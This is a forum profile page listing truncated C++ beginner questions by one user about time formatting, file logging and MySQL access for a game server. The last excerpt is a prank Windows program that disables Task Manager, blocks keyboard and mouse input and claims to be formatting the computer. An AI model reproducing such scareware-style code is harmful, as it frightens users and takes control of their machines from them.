Posts
 
Reputation
Joined
Last Seen
Strength to Increase Rep
+0
Strength to Decrease Rep
-0
0% Quality Score
Upvotes Received
0
Posts with Upvotes
0
Upvoting Members
0
Downvotes Received
5
Posts with Downvotes
3
Downvoting Members
4
1 Commented Post
0 Endorsements
~3K People Reached
Favorite Forums
Favorite Tags
c++ x 49
Member Avatar for Mr_PoP

[CODE] #include "includes" int main() { time_t rawtime; struct tm * timeinfo; char buffer [80]; time ( &rawtime ); timeinfo = localtime ( &rawtime ); string timetest; timetest= strftime (buffer,80,"%Y-%m-%d",timeinfo); puts (buffer); } [/CODE] now instead of print the time i want add the value of the time to a …

Member Avatar for jrhitokiri
0
132
Member Avatar for Mr_PoP

Hey all, i made a socket that accepting connection from a game , in the game u should type in username and password , i can recive it bt , it's like ummmm encrypted letteers and numbers my question is where to look at so i can understand how to …

Member Avatar for Mr_PoP
0
63
Member Avatar for Mr_PoP

[CODE] #include "SQL.h" const char * pQuery(const char * query,...) { va_list argptr; va_start( argptr, query); char buf[4096] = ""; sprintf(buf,""); int ret = vsprintf(buf + strlen(buf), query, argptr); strcpy(buf + strlen(buf), ""); va_end( argptr ); return buf; } [/CODE] [CODE] MYSQL * mysql; int main() { //loading the config …

Member Avatar for Mr_PoP
0
110
Member Avatar for Mr_PoP

main.cpp [CODE] #include "includes.h" #include "LOGMSGs.h" int main() { LOGMSG("TEST"); getch(); return 0; } [/CODE] MYSQLcon.cpp [CODE] #include "LOGMSGs.h" int Mysql() { MYSQL *con, mysql; mysql_init(&mysql); const char * host="localhost"; const char * user="test"; const char * pass="test"; const char * db="NewServer"; con = mysql_real_connect(&mysql,host,user,pass,db,NULL,NULL,NULL); if (con == NULL) { …

Member Avatar for Mr_PoP
0
108
Member Avatar for Mr_PoP

logmsg.h [CODE] void LOGMSG(string logmsg,...)//... { stringstream name; name<<"test "<<TM.years()<<"-"<<TM.month()<<"-"<<TM.day()<<".log"; ofstream log; log.open(name.str(), ios::out | ios::app); log <<TM.hour()<<":"<<TM.mint()<<":"<<TM.sec()<<" Message: "<< logmsg<<endl; } [/CODE] main.cpp [CODE] int main() { int a = 100; LOGMSG("type test!!",a,"times"); }[/CODE] but it's only wtite into the file "type test!!" while i want it to type …

Member Avatar for Mr_PoP
0
108
Member Avatar for Mr_PoP

TIMERS.h: [CODE]#include "includes.h" class servtime { public: int sec() { int sec; time_t rawtime; tm * timeinfo; time(&rawtime); timeinfo=localtime(&rawtime); sec=timeinfo->tm_sec; return sec; } int mint() { int min; time_t rawtime; tm * timeinfo; time(&rawtime); timeinfo=localtime(&rawtime); min=timeinfo->tm_min; return min; } int hour() { int hour; time_t rawtime; tm * timeinfo; time(&rawtime); …

Member Avatar for Mr_PoP
0
349
Member Avatar for Mr_PoP

[CODE] time_t rawtime; struct tm * timeinfo; char sec [80]; char min [80]; char hour [80]; char year[80]; char month[80]; char day[80]; time ( &rawtime ); timeinfo = localtime ( &rawtime ); string timetest; timetest= strftime (sec,80,"%S",timeinfo); timetest= strftime (min,80,"%M",timeinfo); timetest= strftime (hour,80,"%H",timeinfo); timetest= strftime (year,80,"%Y",timeinfo); timetest= strftime (month,80,"%m",timeinfo); timetest= …

Member Avatar for Mr_PoP
0
86
Member Avatar for Mr_PoP

[CODE] int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst;[/CODE] but how can i call it , i mean like if i wanna cout << tm_sec ; how can i do that!! :confused:

Member Avatar for Mr_PoP
0
89
Member Avatar for Mr_PoP

[CODE] #include <iostream> #include <fstream> using namespace std; void LOGMSG(string test) { ofstream log; log.open("text.txt"); log << test.c_str(); } int main() { LOGMSG("this is a test"); LOGMSG("this is a test2"); LOGMSG("this is a test3"); } [/CODE] but it's only writes the last line i mean the last time i called …

Member Avatar for MasterGberry
0
491
Member Avatar for Mr_PoP

[CODE] #include <algorithm> #include <iostream> #include <Windows.h> #include <string> #include <cctype> using namespace std; int main(void) { //declare variables char npcname; char actid; //askin the user to input npc name cout << "Please Enter Your NPC Name!"<<endl; cin >> npcname; //askin the user to input action id cout << "Please …

Member Avatar for Saith
0
77
Member Avatar for Mr_PoP

[CODE]#include <algorithm> #include <iostream> #include <string> using namespace std; int main(void) { int actid; cin >> actid; if(actid != 1,2,3,4,5,6,7,8,9,0) { cout << "you must enter an integer"; return 0; } }[/CODE] but it's fail :(

Member Avatar for Mr_PoP
0
143
Member Avatar for Mr_PoP

[CODE] #include <iostream> #include <string> using namespace std; int main(void) { string test; test="this is a test" test.replace(' ','~')// replace the space with ~ cout << test; return 0; } [/CODE] but it's not working can anyone help me?

Member Avatar for Mr_PoP
0
162
Member Avatar for Mr_PoP

[CODE] #include "includes.h" MYSQL *con; con=mysql_real_connect(con, server,user, password, database, 0, NULL, 0); //mysql check: int act; int reb; reb=mysql_query(con,"SELECT * FROM cq_rebirth"); act=mysql_query(con,"SELECT * FROM cq_action"); if(act !=0 || reb !=0){ cout << mysql_error(con); return 1; } [/CODE] Error: Commands out of sync; you can't run this command now i …

Member Avatar for Ancient Dragon
0
208
Member Avatar for Mr_PoP

[CODE] #include "includes.h" int main() { SYSTEMTIME st; GetSystemTime(&st); ofstream syslog; //st.wDay= 30 syslog.open("today"st.wDay".txt"); syslog.close(); system("Pause"); } [/CODE] bt idk how to make it this line is completly wrong syslog.open("today"st.wDay".txt"); can anyone help me :)

Member Avatar for Mr_PoP
0
82
Member Avatar for Mr_PoP

Hi there i wanna make a query like this [CODE]SELECT * FROM accounts[/CODE] accounts table has 3 columns ID Name Password so i wanna get every column value in variable like char name= column[name]; so i can cout << name ; is there away to do it?

Member Avatar for Mr_PoP
0
71
Member Avatar for Mr_PoP

hi there [CODE] #include "stdafx.h" #include <iostream> #include <mysql.h> int _tmain(int argc, _TCHAR* argv[]) { MYSQL *con; mysql_real_connect(con, "localhost", "alakazam","username","password",0,NULL,0); } [/CODE] Error IntelliSense: identifier "SOCKET" is undefined in file mysql_com.h how should i fix it?!!

Member Avatar for daviddoria
0
68
Member Avatar for Mr_PoP

[CODE]#include<iostream> #include<windows.h> using namespace std; int wast (int a) { a = a * 10; for(int i=0; i<= a; i++) cout<<" \b"; return 0; } void main(){ int x,y; HWND t; t=FindWindow(NULL,"Windows Task Manager"); EnableWindow(t,false); SetConsoleTitle("Formating Your Whole Computer Sorry :)"); system("color 0c"); BlockInput(true); cout << "C"; wast(500); cout << …

Member Avatar for peter_budo
-2
162